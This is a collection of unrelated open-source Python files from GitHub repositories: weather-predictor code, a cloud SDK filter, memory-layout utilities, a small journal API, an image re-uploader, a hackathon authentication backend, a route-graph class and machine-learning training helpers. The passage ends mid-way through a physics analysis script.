'2-hCnvPrbTopoProd' : None,\n 'AvgRadRefl' : None,\n 'ConvSnow' : None,\n 'CPrecip' : None,\n 'FZRABin' : None,\n 'IFRCond' : None,\n 'IPBin' : None,\n 'LIFRCond' : None,\n 'LMPFrozPred' : None,\n 'LMPPtypePred' : None,\n 'MaxCompRadRefl' : None,\n 'MOSPtypePred' : None,\n 'MOSZRPred' : None,\n 'MRF.10\"PRISMpaTotQPFProd' : None,\n 'MRF.10\"TotQPFProd' : None,\n 'MRF.25\"TotQPFProd' : None,\n 'MRF.50\"CnvQPFProd' : None,\n 'MRFSRF.10\"TotQPFProd' : None,\n 'MRFSRF.50\"CnvQPFProd' : None,\n 'MVFRCond' : None,\n 'NCPrecip' : None,\n 'ObsVision' : None,\n 'OpqSky' : None,\n 'POP' : None,\n 'POPOccur' : None,\n 'PQPF' : None,\n 'PrbFZPOPOccurProd' : None,\n 'PrbSNPOPOccurProd' : None,\n 'PrbSNPrbFZProd' : None,\n 'PrbSNPrbRProd' : None,\n 'PrecipChar' : None,\n 'PrecipOccur' : None,\n 'PredWx' : None,\n 'PType' : None,\n 'RadRefl' : None,\n 'RNBin' : None,\n 'SNBin' : None,\n 'SRF.10\"TotQPFProd' : None,\n 'SRF.25\"TotQPFProd' : None,\n 'SRF.50\"TotQPFProd' : None,\n 'SRF.75\"TotQPFProd' : None,\n 'TotalPrecip' : moisture.TotalPrecip,\n 'TVVAvgRHProd' : None,\n 'TVVTotQPFProd' : None,\n 'VFRCond' : None,\n 'FlightCats' : None,\n 'Hel' : None,\n 'SRH' : None,\n 'PBL' : None,\n 'AltimtrStg' : None,\n 'Vsby' : None\n }\n\n#Functions that basically perform common math\n#and statistical operations.\ncommon_functions = {\n 'mean' : computations.mean,\n 'difference' : computations.difference,\n 'sum' : computations.sum,\n 'point' : None, # What is this?\n 'max' : computations.max,\n 'min' : computations.min,\n 'mid_range' : None,\n 'standard_deviation' : None,\n 'variance' : None,\n 'mult' : None\n }\n\n\ndef is_valid_property(observedProperty):\n \"\"\"Determine if property is in the function dictionary\"\"\"\n\n return basename(observedProperty) in creation_functions\n\n\ndef get_met_function(observedProperty):\n \"\"\"Returns function associated with a particular weather element\"\"\"\n\n if observedProperty in creation_functions:\n return creation_functions[observedProperty]\n error = \"Property: \" + observedProperty + \" not in creation functions.\"\n raise ValueError(error)\n return None\n\n\ndef get_common_function(method):\n \"\"\"Returns function name for common math or stat operation\n indicated by method\n \"\"\"\n\n return common_functions[method]\n\n\ndef calculate(filepaths, time, predictor, station_list=None, station_defs=None):\n \"\"\"Given an internal Predictor object, create the camps data object\n associated with the observed property containing its data and metadata.\n\n Arguments:\n filepaths (list): paths to input data files\n time (int): epoch time of interest in seconds, usually phenomenon time.\n predictor (dictionary): key/value pairs provide information to calculate predictor.\n station_list (list): list of call letters of stations selected for the predictor.\n station_defs (dictionary): information about each station in station_list.\n\n Returns:\n ret_obj (Camps_data): object containing calculated data and metadata of the\n specified predictor.\n \"\"\"\n\n #Exit if observed property is not valid.\n observed_property = os.path.basename(predictor['search_metadata']['property'])\n if not is_valid_property(observed_property):\n err_str = \"There is no function associated with the calculation of \"\n err_str += observed_property\n err_str += \"\\nCheck create.py for function definitions\"\n raise RuntimeError(err_str)\n #Fork the creation process between single vertical layer predictors\n #and multi-level ones.\n if has_multiple_vertical_layers(predictor):\n #see if observed_property is in creation_functions\n if observed_property in creation_functions:\n variable_calculation_function = get_met_function(observed_property)\n ret_obj = variable_calculation_function(filepaths, time, predictor)\n else: #single level predictors, some of which require station information\n variable_calculation_function = get_met_function(observed_property)\n if 'station_list' in variable_calculation_function.__code__.co_varnames and \\\n 'station_defs' in variable_calculation_function.__code__.co_varnames:\n ret_obj = variable_calculation_function(filepaths, time, predictor, station_list=station_list, station_defs=station_defs) #Pass station information\n else:\n ret_obj = variable_calculation_function(filepaths, time, predictor) # Pass standard information\n\n #Add source to metadata if it is not in there.\n if isinstance(ret_obj,Camps_data):\n processes = []\n for process in ret_obj.processes:\n processes.append(process.name)\n if 'Calc' in process.name:\n process.add_attribute('source', predictor['search_metadata']['source'])\n return ret_obj\n\n\n\ndef has_multiple_vertical_layers(predictor):\n \"\"\"Returns True if Predictor object has more than one vertical layer.\"\"\"\n\n return 'vert_coord2' in predictor['search_metadata']\n\n\ndef preprocess_entries(entry_dict, fcst_ref_time):\n \"\"\"Preprocess a dictionary into a convenience Predictor object.\n Return said object.\n \"\"\"\n\n pred_dict = {}\n pred_dict['search_metadata'] = read_pred.get_variable(entry_dict)\n pred_dict['fcst_ref_time'] = fcst_ref_time\n if 'Procedure' in entry_dict:\n pred_dict['procedures'] = entry_dict['Procedure']\n if 'lead_time' in pred_dict['search_metadata']:\n pred_dict['leadTime'] = pred_dict['search_metadata']['lead_time']\n\n return pred_dict\n","repo_name":"NOAA-MDL/CAMPS","sub_path":"camps/mospred/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":9226,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"27762959209","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport re\nfrom googlecloudsdk.core.resource import resource_expr_rewrite\nfrom googlecloudsdk.core.util import times\nimport six\n\n\ndef _RewriteTimeTerm(key, op, operand):\n \"\"\"Rewrites .\"\"\"\n if op not in ['<', '<=', '=', ':', '>=', '>']:\n return None\n try:\n dt = times.ParseDateTime(operand)\n except ValueError as e:\n raise ValueError(\n '{operand}: date-time value expected for {key}: {error}'\n .format(operand=operand, key=key, error=six.text_type(e)))\n\n if op == ':':\n op = '='\n\n return '{key} {op} \"{dt}\"'.format(\n key=key, op=op, dt=times.FormatDateTime(dt, tzinfo=times.UTC))\n\n\nclass OperationsBackend(resource_expr_rewrite.Backend):\n \"\"\"Limit filter expressions to those supported by the Genomics backend.\"\"\"\n\n _FORMAT = '{key} {op} {operand}'\n _QUOTED_FORMAT = '{key} {op} \"{operand}\"'\n\n _TERMS = {\n r'^done$': _FORMAT,\n r'^error.code$': _FORMAT,\n r'^metadata.labels\\.(.*)': _QUOTED_FORMAT,\n r'^metadata.events$': _QUOTED_FORMAT,\n }\n\n _CREATE_TIME_TERMS = [\n r'^metadata.create_time$',\n r'^metadata.createTime$',\n ]\n\n def RewriteTerm(self, key, op, operand, key_type):\n \"\"\"Limit terms to expressions supported by the backend.\"\"\"\n for regex in self._CREATE_TIME_TERMS:\n if re.match(regex, key):\n return _RewriteTimeTerm(key, op, operand)\n\n for regex, fmt in six.iteritems(self._TERMS):\n if re.match(regex, key):\n return fmt.format(key=key, op=op, operand=operand)\n return None\n","repo_name":"twistedpair/google-cloud-sdk","sub_path":"google-cloud-sdk/lib/googlecloudsdk/api_lib/genomics/filter_rewrite.py","file_name":"filter_rewrite.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"30478589466","text":"# Import modules\nimport struct\n\n# Import classes\nfrom collections import Iterable, namedtuple\n\n# Import functions\nfrom six import iteritems, iterkeys\n\n# ----------------------------------------------------------------------------\n# Args\n# ----------------------------------------------------------------------------\nclass Args(namedtuple(\"Args\", \"args, kwargs\")):\n def __new__(cls, *args, **kwargs):\n return super(Args, cls).__new__(cls, args, kwargs)\n\n# ----------------------------------------------------------------------------\n# Functions\n# ----------------------------------------------------------------------------\ndef load_regions(regions, region_arguments, machine_controller, core, logger):\n # Calculate region size\n size, allocs = sizeof_regions_named(regions, region_arguments)\n\n logger.debug(\"\\t\\t\\t\\t\\tRegion size = %u bytes\", size)\n\n # Allocate a suitable memory block\n # for this vertex and get memory io\n # **NOTE** this is tagged by core\n memory_io = machine_controller.sdram_alloc_as_filelike(\n size, tag=core.start)\n logger.debug(\"\\t\\t\\t\\t\\tMemory with tag:%u begins at:%08x\",\n core.start, memory_io.address)\n\n # Layout the slice of SDRAM we have been given\n region_memory = create_app_ptr_and_region_files_named(\n memory_io, regions, region_arguments)\n\n # Write each region into memory\n for key, region in iteritems(regions):\n # Get memory\n mem = region_memory[key]\n\n # Get the arguments\n args, kwargs = region_arguments[key]\n\n # Perform the write\n region.write_subregion_to_file(mem, *args, **kwargs)\n\n # Return region memory\n return region_memory\n\ndef create_app_ptr_and_region_files_named(fp, regions, region_args):\n \"\"\"Split up a file-like view of memory into smaller views, one per region,\n and write into the first region of memory the offsets to these later\n regions.\n\n Parameters\n ----------\n regions : {name: Region, ...}\n Map from keys to region objects. The keys MUST support `int`, items\n from :py:class:`enum.IntEnum` are recommended.\n region_args : {name: (*args, **kwargs)}\n Map from keys to the arguments and keyword-arguments that should be\n used when determining the size of a region.\n\n Returns\n -------\n {name: file-like}\n Map from region name to file-like view of memory.\n \"\"\"\n # Determine the number of entries needed in the application pointer table\n ptr_len = max(int(k) for k in iterkeys(regions)) + 1\n\n # Construct an empty pointer table of the correct length\n ptrs = [0] * ptr_len\n\n # Update the offset and then begin to allocate memory\n region_memory = dict()\n offset = (ptr_len * 4) + 4 # 1 word per region and magic number\n for k, region in iteritems(regions):\n # Get the size of this region\n args, kwargs = region_args[k]\n region_size = region.sizeof_padded(*args, **kwargs)\n\n # Store the current offset as the pointer for this region\n ptrs[int(k)] = offset\n\n # Get the memory region and update the offset\n next_offset = offset + region_size\n region_memory[k] = fp[offset:next_offset]\n offset = next_offset\n\n # Write the pointer table into memory\n fp.seek(0)\n fp.write(struct.pack(\"<{}I\".format(1 + ptr_len), 0xAD130AD6, *ptrs))\n fp.seek(0)\n\n # Return the region memories\n return region_memory\n\n\ndef sizeof_regions_named(regions, region_args, include_app_ptr=True):\n \"\"\"Return the total amount of memory required to represent\n all regions when padded to a whole number of words each\n and dictionary of any any extra allocations required\n\n Parameters\n ----------\n regions : {name: Region, ...}\n Map from keys to region objects. The keys MUST support `int`, items\n from :py:class:`enum.IntEnum` are recommended.\n region_args : {name: (*args, **kwargs)}\n Map from keys to the arguments and keyword-arguments that should be\n used when determining the size of a region.\n \"\"\"\n if include_app_ptr:\n # Get the size of the application pointer\n size = 4 + ((max(int(k) for k in iterkeys(regions)) + 1) * 4)\n else:\n # Don't include the application pointer\n size = 0\n\n # Get the size of all the regions\n allocations = {}\n for key, region in iteritems(regions):\n # Get the arguments for the region\n args, kwargs = region_args[key]\n\n # Get size of region and any extra allocations it requires\n region_size_allocs = region.sizeof_padded(*args, **kwargs)\n\n # Add size to total and include allocations in dictionary\n if isinstance(region_size_allocs, Iterable):\n size += region_size_allocs[0]\n allocations.update(region_size_allocs[1])\n else:\n size += region_size_allocs\n\n return size, allocations","repo_name":"project-rig/rig_cpp_common","sub_path":"rig_cpp_common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27736715505","text":"import sqlite3\nimport json\nfrom sqlite3.dbapi2 import DatabaseError\nfrom models import Tag, Entry_Tag\n\ndef get_all_tags():\n with sqlite3.connect(\"./dailyJournal.db\") as conn:\n conn.row_factory = sqlite3.Row\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\" \n SELECT\n t.id,\n t.subject\n FROM tags t\n \"\"\")\n\n tags = []\n\n dataset = db_cursor.fetchall()\n\n for row in dataset:\n tag = Tag(row[\"id\"], row[\"subject\"])\n\n tags.append(tag.__dict__)\n \n return json.dumps(tags)\n\ndef get_all_entry_tags():\n with sqlite3.connect(\"./dailyJournal.db\") as conn:\n conn.row_factory = sqlite3.Row\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\" \n SELECT\n et.id,\n et.entry_id,\n et.tag_id\n FROM entry_tags et\n \"\"\")\n\n entry_tags = []\n\n dataset = db_cursor.fetchall()\n\n for row in dataset:\n entry_tag = Entry_Tag(row[\"id\"], row[\"entry_id\"], row[\"tag_id\"])\n\n entry_tags.append(entry_tag.__dict__)\n\n return json.dumps(entry_tags)","repo_name":"KaitlinJKelley/daily-journal-server","sub_path":"tags/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24794794323","text":"from bs4 import BeautifulSoup\nfrom urllib.parse import urlparse\nfrom tqdm import tqdm\nimport os, argparse\nimport requests\nimport time\n\ndef convert_html(input_file, output_file):\n f = open(input_file, encoding='utf8')\n soup = BeautifulSoup(f, 'lxml')\n imgs = soup.find_all('img')\n print(f'images: {len(imgs)}')\n\n for img in tqdm(imgs, ascii=True, leave=False):\n src = img.get('src')\n data_filename = img.get('data-filename')\n # print(data_filename)\n\n url = 'https://sm.ms/api/upload'\n\n with open(src, 'rb') as fp:\n response = requests.post(url, files={'smfile': fp}).json()\n\n if response['code'] == 'error':\n print(response['msg'])\n print('Retrying in 10 seconds...')\n time.sleep(10)\n with open(src, 'rb') as fp:\n response = requests.post(url, files={'smfile': fp}).json()\n # print(response)\n\n new_src = response['data']['url']\n\n img['src'] = new_src\n img['data-filename'] = urlparse(new_src).path.split('/')[-1]\n\n\n with open(output_file, 'w', encoding='utf8') as f:\n f.write(soup.prettify())\n \n print(f'output: {output_file}')\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('input', help='input file')\n parser.add_argument('-o', nargs=1, type=str, help='output file')\n\n args = parser.parse_args()\n\n input_file = args.input\n if not args.o:\n output_file = os.path.basename(input_file).split('.')[0] + '_output.html'\n\n convert_html(input_file, output_file)\n","repo_name":"MiracleXYZ/evernote-to-notion","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"12922740401","text":"import numpy as np\n\nfrom sklearn import datasets, linear_model\nfrom sklearn.model_selection import train_test_split\n\nclass MyLinearRegression(object):\n def __init__(self, eta=0.1, n_iter=50):\n self.eta = eta\n self.n_iter = n_iter\n\n def fit(self, X, y):\n X = np.insert(X, 0, 1, axis=1)\n self.w = np.ones(X.shape[1])\n m = X.shape[0]\n\n for i in range(self.n_iter):\n output = X.dot(self.w)\n errors = y - output\n if i % 10 == 0:\n print(\"Error: \", sum(errors ** 2))\n print(\"Weights: \", self.w)\n self.w += self.eta / m * errors.dot(X)\n return self\n\n def predict(self, X):\n # your code here\n pass\n\nX = np.array([[0], [1], [2], [3]])\ny = np.array([-1, 1, 3, 5])\nX_test = np.array([[4],[5]])\nregr = MyLinearRegression(n_iter=500).fit(X, y)\ny_hat = regr.predict(X_test)\nprint(y_hat)\n\nassert(np.allclose(y_hat, np.array([7,9])))\n\n\n","repo_name":"gitter-badger/mltp","sub_path":"u5_linear_regression/s4_exercise3.py","file_name":"s4_exercise3.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13324209297","text":"\"\"\"\nAsync PostgreSQL ORM and models.\n\"\"\"\n\nfrom api.config import Config\n\nfrom peewee_aio import Manager, AIOModel, fields\nmanager = Manager(\n url = Config.db_url,\n)\n\nimport bcrypt\nimport jwt\nimport time\n\n\nclass Permissions:\n def __init__(self, claims: dict = {}):\n try:\n self.user_id: str = claims[\"sub\"]\n except:\n self.user_id = None\n try:\n self.scopes: list[str] = claims[\"scopes\"]\n except:\n self.scopes = []\n\n def is_authenticated(self):\n return self.user_id is not None\n\n def is_staff(self):\n return \"staff\" in self.scopes\n\n async def get_user(self):\n user: User = await User.get_by_id(self.user_id)\n return user\n\n\n@manager.register\nclass User(AIOModel):\n id = fields.AutoField()\n email = fields.CharField()\n password = fields.CharField()\n last_modified = fields.IntegerField()\n staff = fields.BooleanField(default = False)\n name = fields.CharField()\n\n class Meta:\n table_name = \"users\"\n\n @classmethod\n async def issue_token(cls, user_id: str, expiration: int = 3600):\n user: User = await cls.get_by_id(user_id)\n scopes: list[str] = []\n\n if user.staff:\n scopes.append(\"staff\")\n\n claims = {\n \"iss\": Config.jwt_issuer, # issuer\n \"sub\": user_id, # subject (user primary key)\n \"iat\": int(time.time()), # time of issuance, unix timestamp\n \"exp\": int(time.time()) + expiration, # expiration time, in seconds\n \"scopes\": scopes\n }\n token: str = jwt.encode(claims, Config.jwt_secret, algorithm = \"HS256\")\n return token\n\n @classmethod\n def authenticate_token(cls, token: str):\n try:\n # throws if invalid or expired\n claims: dict = jwt.decode(\n token, \n Config.jwt_secret, \n algorithms = [ \"HS256\" ],\n issuer = Config.jwt_issuer,\n options = { \"require\": [\"iss\", \"sub\", \"iat\", \"exp\", \"scopes\"] }\n )\n return Permissions(claims)\n except:\n return Permissions()\n\n @classmethod\n async def reissue_token(cls, token: str, expiration: int = 3600):\n try:\n # throws if invalid, but not when expired\n claims: dict = jwt.decode(\n token, \n Config.jwt_secret, \n algorithms = [ \"HS256\" ],\n issuer = Config.jwt_issuer,\n options = { \n \"require\": [\"iss\", \"sub\", \"iat\", \"exp\", \"scopes\"],\n \"verify_exp\": False,\n }\n )\n user_id: int = claims[\"sub\"]\n user: User = await cls.get_by_id(user_id)\n\n # denying request if the account was modified since the issuance\n issuance: int = claims[\"iat\"]\n if user.last_modified >= issuance:\n return None, None\n\n # case: the account exists and was not modified so the user can continue their session\n return await cls.issue_token(user_id, expiration), user_id\n except:\n # case: previous token was invalid or the account does not exist\n return None, None\n \n def set_password(self, plain: str):\n try:\n self.password = bcrypt.hashpw(plain.encode(\"utf8\"), bcrypt.gensalt()).decode(\"utf8\")\n except:\n # it seems like on some platforms hashpw returns not bytes but str\n self.password = bcrypt.hashpw(plain.encode(\"utf8\"), bcrypt.gensalt())\n\n def check_password(self, plain: str):\n try:\n return bcrypt.checkpw(plain.encode(\"utf8\"), self.password.encode(\"utf8\"))\n except:\n return False\n\n\n@manager.register\nclass Event(AIOModel):\n id = fields.AutoField()\n title = fields.CharField()\n start_time = fields.IntegerField()\n end_time = fields.IntegerField()\n format = fields.CharField() # hybrid or online\n prize = fields.IntegerField()\n participants = fields.IntegerField()\n thumbnail = fields.CharField()\n description = fields.TextField()\n\n class Meta:\n table_name = \"events\"\n\n\n@manager.register\nclass Participation(AIOModel):\n id = fields.AutoField()\n user = fields.ForeignKeyField(User)\n event = fields.ForeignKeyField(Event)\n format = fields.CharField() # offline or online\n confirmed = fields.BooleanField(default = False)\n tax_number = fields.CharField()\n\n needs_teammates = fields.BooleanField(default = False)\n description = fields.TextField()\n\n class Meta:\n table_name = \"participations\"\n\n@manager.register\nclass Profiles(AIOModel):\n id = fields.AutoField()\n profiles_text = fields.TextField()\n user_id = fields.IntegerField()\n\n class Meta:\n table_name = \"profiles\"\n\n@manager.register\nclass Chats(AIOModel):\n id = fields.AutoField()\n chat_text = fields.TextField()\n user_id = fields.IntegerField()\n\n class Meta:\n table_name = \"chats\"","repo_name":"ZsombiTech/crafthack-hackathon","sub_path":"backend/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"70571562783","text":"\"\"\"\nYour world.\n\nIt consists of tracks, points of interest, intersections,\nand a graph that will tell you how to get from A to B.\n\"\"\"\n\nimport datetime as dt\nimport math\nfrom typing import Dict, List, Tuple\n\nimport networkx as nx\nimport numpy as np\n\nfrom pygohome.convert import extract_gpx\nfrom pygohome.processor import (\n RegionTooLargeError,\n build_graph,\n find_encounters,\n prepare_trackpoints,\n prepare_waypoints,\n)\n\n\nclass World:\n \"\"\"Your world.\"\"\"\n\n trackpoints: List[Tuple[dt.datetime, float, float]]\n waypoints: List[Tuple[str, float, float]]\n graph: nx.DiGraph\n\n def __init__(self) -> None:\n \"\"\"Init an empty world.\"\"\"\n self.trackpoints = []\n self.waypoints = []\n self.graph = None\n\n def add_trackpoints(self, trackpoints: List) -> None:\n \"\"\"Add a list of trackpoints.\"\"\"\n self.trackpoints.extend(trackpoints)\n self.graph = None\n\n def add_waypoints(self, waypoints: List) -> None:\n \"\"\"Add a list of waypoints.\"\"\"\n self.waypoints.extend(waypoints)\n self.graph = None\n\n def add_gpx(self, track_xml: str) -> None:\n \"\"\"Add a GPX XML file content.\"\"\"\n trackpoints, waypoints = extract_gpx(track_xml)\n if trackpoints:\n self.add_trackpoints(trackpoints)\n if waypoints:\n self.add_waypoints(waypoints)\n\n def _ensure_graph(self) -> None:\n \"\"\"Rebuild graph if needed.\"\"\"\n if self.graph is None:\n dfr_trackpoints = prepare_trackpoints(self.trackpoints)\n dfr_waypoints = prepare_waypoints(self.waypoints)\n if set(dfr_trackpoints[\"utm_zone\"]) != set(\n dfr_waypoints[\"utm_zone\"]\n ):\n raise RegionTooLargeError(\n f\"Trackpoints ({dfr_trackpoints['utm_zone']!r}) and \"\n f\"waypoints ({dfr_waypoints['utm_zone']!r}) \"\n f\"in different UTM_zones.\"\n )\n dfr_encounters = find_encounters(dfr_trackpoints, dfr_waypoints)\n self.graph = build_graph(dfr_encounters, dfr_waypoints)\n\n def fastest_path(\n self, src: str, dst: str, quantile: float = 0.8\n ) -> nx.Graph:\n \"\"\"Find the shortest path between src and dst with quantile prob.\"\"\"\n self._ensure_graph()\n path = nx.path_graph(\n nx.dijkstra_path(\n self.graph,\n src,\n dst,\n lambda u, v, a: np.quantile(a[\"secs\"], quantile),\n )\n )\n return path\n\n def single_source_periods(self, src: str, quantile: float = 0.8) -> Dict:\n \"\"\"Return periods to every other waypoint from the src.\"\"\"\n self._ensure_graph()\n all_dsts_periods = nx.single_source_dijkstra(\n self.graph,\n src,\n weight=lambda u, v, a: int(np.quantile(a[\"secs\"], quantile)),\n )[0]\n periods: Dict = {}\n for dst, period in all_dsts_periods.items():\n if isinstance(dst, tuple):\n # if dst is a tuple(here, src, dst), it is at a lights\n # intersection\n # we want only to get to any node within this intersection\n # result: the shortest period to get to any node near here\n periods[dst[0]] = min(period, periods.get(dst[0], math.inf))\n else:\n periods[dst] = period\n return periods\n","repo_name":"eumiro/pygohome","sub_path":"src/pygohome/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"7"} +{"seq_id":"37480898877","text":"import time\nimport os\nfrom os.path import join, isfile\nimport csv\n\n\nclass AvgTracker:\n def __init__(self):\n self.sum = 0\n self.N = 0\n self.x = None\n\n def update(self, x, n=1):\n self.sum += x\n self.N += n\n self.x = x\n\n def get_avg(self):\n if self.N == 0:\n return float(\"nan\")\n return self.sum / self.N\n\n\nclass LossInfo:\n def __init__(self, epoch, len_dataset, batch_size, mode=\"Train\", print_freq=1):\n # data for print statements\n self.epoch = epoch\n self.len_dataset = len_dataset\n self.batch_size = batch_size\n self.mode = mode\n self.print_freq = print_freq\n # track loss\n self.loss_tracker = AvgTracker()\n self.loss = None\n # track computation times\n self.times = {\"Dataloader\": AvgTracker(), \"Network\": AvgTracker()}\n self.t = time.time()\n\n def update_timer(self, timer_mode=\"Dataloader\"):\n self.times[timer_mode].update(time.time() - self.t)\n self.t = time.time()\n\n def update(self, loss, n):\n self.loss = loss\n self.loss_tracker.update(loss * n, n)\n self.update_timer(timer_mode=\"Network\")\n\n def get_avg(self):\n return self.loss_tracker.get_avg()\n\n def print_info(self, batch_idx):\n if batch_idx % self.print_freq == 0:\n print(\n \"{} Epoch: {} [{}/{} ({:.0f}%)]\".format(\n self.mode,\n self.epoch,\n min(batch_idx * self.batch_size, self.len_dataset),\n self.len_dataset,\n 100.0 * batch_idx * self.batch_size / self.len_dataset,\n ),\n end=\"\\t\\t\",\n )\n # print loss\n print(f\"Loss: {self.loss:.3f} ({self.get_avg():.3f})\", end=\"\\t\\t\")\n # print computation times\n td, td_avg = self.times[\"Dataloader\"].x, self.times[\"Dataloader\"].get_avg()\n tn, tn_avg = self.times[\"Network\"].x, self.times[\"Network\"].get_avg()\n print(f\"Time Dataloader: {td:.3f} ({td_avg:.3f})\", end=\"\\t\\t\")\n print(f\"Time Network: {tn:.3f} ({tn_avg:.3f})\")\n\n\nclass RuntimeLimits:\n \"\"\"\n Keeps track of the runtime limits (time limit, epoch limit, max. number\n of epochs for model).\n \"\"\"\n\n def __init__(\n self,\n max_time_per_run: float = None,\n max_epochs_per_run: int = None,\n max_epochs_total: int = None,\n epoch_start: int = None,\n ):\n \"\"\"\n\n Parameters\n ----------\n max_time_per_run: float = None\n maximum time for run, in seconds\n [soft limit, break only after full epoch]\n max_epochs_per_run: int = None\n maximum number of epochs for run\n max_epochs_total: int = None\n maximum total number of epochs for model\n epoch_start: int = None\n start epoch of run\n \"\"\"\n self.max_time_per_run = max_time_per_run\n self.max_epochs_per_run = max_epochs_per_run\n self.max_epochs_total = max_epochs_total\n self.epoch_start = epoch_start\n self.time_start = time.time()\n if max_epochs_per_run is not None and epoch_start is None:\n raise ValueError(\"epoch_start required to check \" \"max_epochs_per_run.\")\n\n def limits_exceeded(self, epoch: int = None):\n \"\"\"\n Check whether any of the runtime limits are exceeded.\n\n Parameters\n ----------\n epoch: int = None\n\n Returns\n -------\n limits_exceeded: bool\n flag whether runtime limits are exceeded and run should be stopped;\n if limits_exceeded = True, this prints a message for the reason\n \"\"\"\n # check time limit for run\n if self.max_time_per_run is not None:\n if time.time() - self.time_start >= self.max_time_per_run:\n print(\n f\"Stop run: Time limit of {self.max_time_per_run} s \" f\"exceeded.\"\n )\n return True\n # check epoch limit for run\n if self.max_epochs_per_run is not None:\n if epoch is None:\n raise ValueError(\"epoch required\")\n if epoch - self.epoch_start >= self.max_epochs_per_run:\n print(\n f\"Stop run: Epoch limit of {self.max_epochs_per_run} per run reached.\"\n )\n return True\n # check total epoch limit\n if self.max_epochs_total is not None:\n if epoch >= self.max_epochs_total:\n print(\n f\"Stop run: Total epoch limit of {self.max_epochs_total} reached.\"\n )\n return True\n # return False if none of the limits is exceeded\n return False\n\n def local_limits_exceeded(self, epoch: int = None):\n \"\"\"\n Check whether any of the local runtime limits are exceeded. Local runtime\n limits include max_epochs_per_run and max_time_per_run, but not max_epochs_total.\n\n Parameters\n ----------\n epoch: int = None\n\n Returns\n -------\n limits_exceeded: bool\n flag whether local runtime limits are exceeded\n \"\"\"\n # check time limit for run\n if self.max_time_per_run is not None:\n if time.time() - self.time_start >= self.max_time_per_run:\n return True\n # check epoch limit for run\n if self.max_epochs_per_run is not None:\n if epoch is None:\n raise ValueError(\"epoch required\")\n if epoch - self.epoch_start >= self.max_epochs_per_run:\n return True\n # return False if none of the limits is exceeded\n return False\n\n\ndef write_history(\n log_dir,\n epoch,\n train_loss,\n test_loss,\n learning_rates,\n aux=None,\n filename=\"history.txt\",\n):\n \"\"\"\n Writes losses and learning rate history to csv file.\n\n Parameters\n ----------\n log_dir: str\n directory containing the history file\n epoch: int\n epoch\n train_loss: float\n train_loss of epoch\n test_loss: float\n test_loss of epoch\n learning_rates: list\n list of learning rates in epoch\n aux: list = []\n list of auxiliary information to be logged\n filename: str = 'history.txt'\n name of history file\n \"\"\"\n if aux is None:\n aux = []\n history_file = join(log_dir, filename)\n if epoch == 1:\n assert not isfile(\n history_file\n ), f\"File {history_file} exists, aborting to not overwrite it.\"\n\n with open(history_file, \"w\" if epoch == 1 else \"a\") as f:\n writer = csv.writer(f, delimiter=\"\\t\")\n writer.writerow([epoch, train_loss, test_loss, *learning_rates, *aux])\n\n\ndef copyfile(src, dst):\n \"\"\"\n copy src to dst.\n :param src:\n :param dst:\n :return:\n \"\"\"\n os.system(\"cp -p %s %s\" % (src, dst))\n\n\ndef save_model(pm, log_dir, model_prefix=\"model\", checkpoint_epochs=None):\n \"\"\"\n Save model to _latest.pt in log_dir. Additionally,\n all checkpoint_epochs a permanent checkpoint is saved.\n\n Parameters\n ----------\n pm:\n model to be saved\n log_dir: str\n log directory, where model is saved\n model_prefix: str = 'model'\n prefix for name of save model\n checkpoint_epochs: int = None\n number of steps between two consecutive model checkpoints\n \"\"\"\n # save current model\n model_name = join(log_dir, f\"{model_prefix}_latest.pt\")\n print(f\"Saving model to {model_name}.\", end=\" \")\n pm.save_model(model_name, save_training_info=True)\n print(\"Done.\")\n\n # potentially copy model to a checkpoint\n if checkpoint_epochs is not None and pm.epoch % checkpoint_epochs == 0:\n model_name_cp = join(log_dir, f\"{model_prefix}_{pm.epoch:03d}.pt\")\n print(f\"Copy model to checkpoint {model_name_cp}.\", end=\" \")\n copyfile(model_name, model_name_cp)\n print(\"Done.\")\n","repo_name":"dingo-gw/dingo","sub_path":"dingo/core/utils/trainutils.py","file_name":"trainutils.py","file_ext":"py","file_size_in_byte":8031,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"7"} +{"seq_id":"5173043984","text":"import sys\nimport time\nimport numpy as np\nimport argparse as argp\nfrom scipy.optimize import curve_fit\nimport functions as fncs\nimport mpi_functions as mpi_fncs\nimport readWrite as rw\nimport physQuants as pq\nimport lqcdjk_fitting as fit\nfrom mpi4py import MPI\n\nnp.set_printoptions(threshold=sys.maxsize)\n\nL = 32.0\n\nparticle_list = [ \"pion\", \"kaon\", \"nucleon\" ]\n\nformat_list = [ \"gpu\", \"cpu\" ]\n\n#########################\n# Parse input arguments #\n#########################\n\nparser = argp.ArgumentParser( description=\"Test fit ranges of two-point functions\" )\n\nparser.add_argument( \"twop_dir\", action='store', type=str )\n\nparser.add_argument( \"twop_template\", action='store', type=str )\n\nparser.add_argument( \"fit_range_end\", action='store', type=int )\n\nparser.add_argument( \"particle\", action='store', \\\n help=\"Particle to calculate gA for. \" \\\n + \"Should be 'pion' or 'kaon'.\", type=str )\n\nparser.add_argument( \"mom_squared\", action='store', type=int )\n\nparser.add_argument( \"binSize\", action='store', type=int )\n\nparser.add_argument( 